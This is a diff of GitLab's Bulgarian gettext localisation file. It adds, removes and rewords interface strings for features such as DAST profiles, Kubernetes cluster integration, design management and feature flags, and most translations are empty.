+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "Клонът <strong>%{branch_name}</strong> беше Ñъздаден. За да наÑтроите автоматичното внедрÑване, изберете Yaml шаблон за GitLab CI и подайте промените Ñи. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr ""
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Отказ"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "ПерÑонализирани ÑÑŠÐ±Ð¸Ñ‚Ð¸Ñ Ð·Ð° извеÑÑ‚Ñване"
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr "Изтриване"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
